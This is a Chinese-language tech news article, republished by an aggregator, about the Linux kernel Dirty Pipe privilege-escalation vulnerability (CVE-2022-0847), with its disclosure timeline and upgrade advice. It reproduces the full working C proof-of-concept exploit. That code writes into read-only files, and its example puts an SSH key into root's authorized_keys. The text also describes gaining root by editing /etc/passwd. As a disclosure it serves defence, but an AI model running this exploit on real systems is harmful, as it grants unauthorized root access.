4

Linux 内核最新高危提权漏洞:脏管道 (Dirty Pipe)

 2 years ago
source link: https://netsecurity.51cto.com/article/703539.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
Linux 内核最新高危提权漏洞:脏管道 (Dirty Pipe)-51CTO.COM
Linux 内核最新高危提权漏洞:脏管道 (Dirty Pipe)
作者:局长 2022-03-09 13:25:21
来自 CM4all 的安全研究员 Max Kellermann 披露了一个 Linux 内核的高危提权漏洞:脏管道 (Dirty Pipe)。漏洞编号为 CVE-2022-0847。

51c1bcf4349cd8c409b61807411b34adc35cf9.jpg

来自 CM4all 的安全研究员 Max Kellermann 披露了一个 Linux 内核的高危提权漏洞:脏管道 (Dirty Pipe)。漏洞编号为 CVE-2022-0847。

375ff9876f340170fad5647ba3d9e9fc45ef49.png

据介绍,此漏洞自 5.8 版本起就已存在。非 root 用户通过注入和覆盖只读文件中的数据,从而获得 root 权限。因为非特权进程可以将代码注入 root 进程。

Max 表示,“脏管道”漏洞与几年前的“脏牛”类似,所以采用了相似的名字,不过前者更容易被利用。此外,该漏洞目前已被黑客利用,研究人员建议尽快升级版本,Linux 5.16.11、5.15.25 和 5.10.102 均已修复了此漏洞。

Max 在文章中提供了漏洞 PoC。

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
  if (pipe(p)) abort();

  const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
  static char buffer[4096];

  /* fill the pipe completely; each pipe_buffer will now have
     the PIPE_BUF_FLAG_CAN_MERGE flag */
  for (unsigned r = pipe_size; r > 0;) {
    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
    write(p[1], buffer, n);
    r -= n;
  }

  /* drain the pipe, freeing all pipe_buffer instances (but
     leaving the flags initialized) */
  for (unsigned r = pipe_size; r > 0;) {
    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
    read(p[0], buffer, n);
    r -= n;
  }

  /* the pipe is now empty, and if somebody adds a new
     pipe_buffer without initializing its "flags", the buffer
     will be mergeable */
}

int main(int argc, char **argv)
{
  if (argc != 4) {
    fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
    return EXIT_FAILURE;
  }

  /* dumb command-line argument parser */
  const char *const path = argv[1];
  loff_t offset = strtoul(argv[2], NULL, 0);
  const char *const data = argv[3];
  const size_t data_size = strlen(data);

  if (offset % PAGE_SIZE == 0) {
    fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
    return EXIT_FAILURE;
  }

  const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
  const loff_t end_offset = offset + (loff_t)data_size;
  if (end_offset > next_page) {
    fprintf(stderr, "Sorry, cannot write across a page boundary\n");
    return EXIT_FAILURE;
  }

  /* open the input file and validate the specified offset */
  const int fd = open(path, O_RDONLY); // yes, read-only! :-)
  if (fd < 0) {
    perror("open failed");
    return EXIT_FAILURE;
  }

  struct stat st;
  if (fstat(fd, &st)) {
    perror("stat failed");
    return EXIT_FAILURE;
  }

  if (offset > st.st_size) {
    fprintf(stderr, "Offset is not inside the file\n");
    return EXIT_FAILURE;
  }

  if (end_offset > st.st_size) {
    fprintf(stderr, "Sorry, cannot enlarge the file\n");
    return EXIT_FAILURE;
  }

  /* create the pipe with all flags initialized with
     PIPE_BUF_FLAG_CAN_MERGE */
  int p[2];
  prepare_pipe(p);

  /* splice one byte from before the specified offset into the
     pipe; this will add a reference to the page cache, but
     since copy_page_to_iter_pipe() does not initialize the
     "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
  --offset;
  ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
  if (nbytes < 0) {
    perror("splice failed");
    return EXIT_FAILURE;
  }
  if (nbytes == 0) {
    fprintf(stderr, "short splice\n");
    return EXIT_FAILURE;
  }

  /* the following write will not create a new pipe_buffer, but
     will instead write into the page cache, because of the
     PIPE_BUF_FLAG_CAN_MERGE flag */
  nbytes = write(p[1], data, data_size);
  if (nbytes < 0) {
    perror("write failed");
    return EXIT_FAILURE;
  }
  if ((size_t)nbytes < data_size) {
    fprintf(stderr, "short write\n");
    return EXIT_FAILURE;
  }

  printf("It worked!\n");
  return EXIT_SUCCESS;
}

据介绍,本地用户可以将自己的数据注入敏感的只读文件,消除限制或修改配置以获得更高的权限。有研究人员通过利用该漏洞修改 /etc/passwd 文件进行了举例,修改后可直接取消 root 用户的密码,然后普通用户使用 su root 命令即可获得 root 账户的访问权限。还有研究人员发现,使用 /usr/bin/su 命令删除 /tmp/sh 中的 root shell 可以更容易获取 root 权限。

最后,建议各位检查所使用的 Linux 服务器的内核版本,若是 5.8 以上的版本请尽快升级。

脏管道 (Dirty Pipe) 漏洞时间线:

  • 2022-02-20:向 Linux 内核安全团队发送错误报告、漏洞利用和补丁
  • 2022-02-21:在 Google Pixel 6 上复现错误,并向 Android 安全团队发送错误报告
  • 2022-02-21: 按照 Linus Torvalds、Willy Tarreau 和 Al Viro 的建议,将补丁发送到 LKML(不含漏洞详细信息)
  • 2022-02-23:发布包含错误修复的 Linux 稳定版本 (5.16.11、5.15.25、5.10.102)
  • 2022-02-24:Google 将错误修复合并到 Android 内核
  • 2022-02-28:通知 linux-distros 邮件列表
  • 2022-03-07:公开披露

本文转自OSCHINA

本文标题:Linux 内核最新高危提权漏洞:脏管道 (Dirty Pipe)

本文地址:https://www.oschina.net/news/185559/linux-dirty-pipe-vulnerability


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK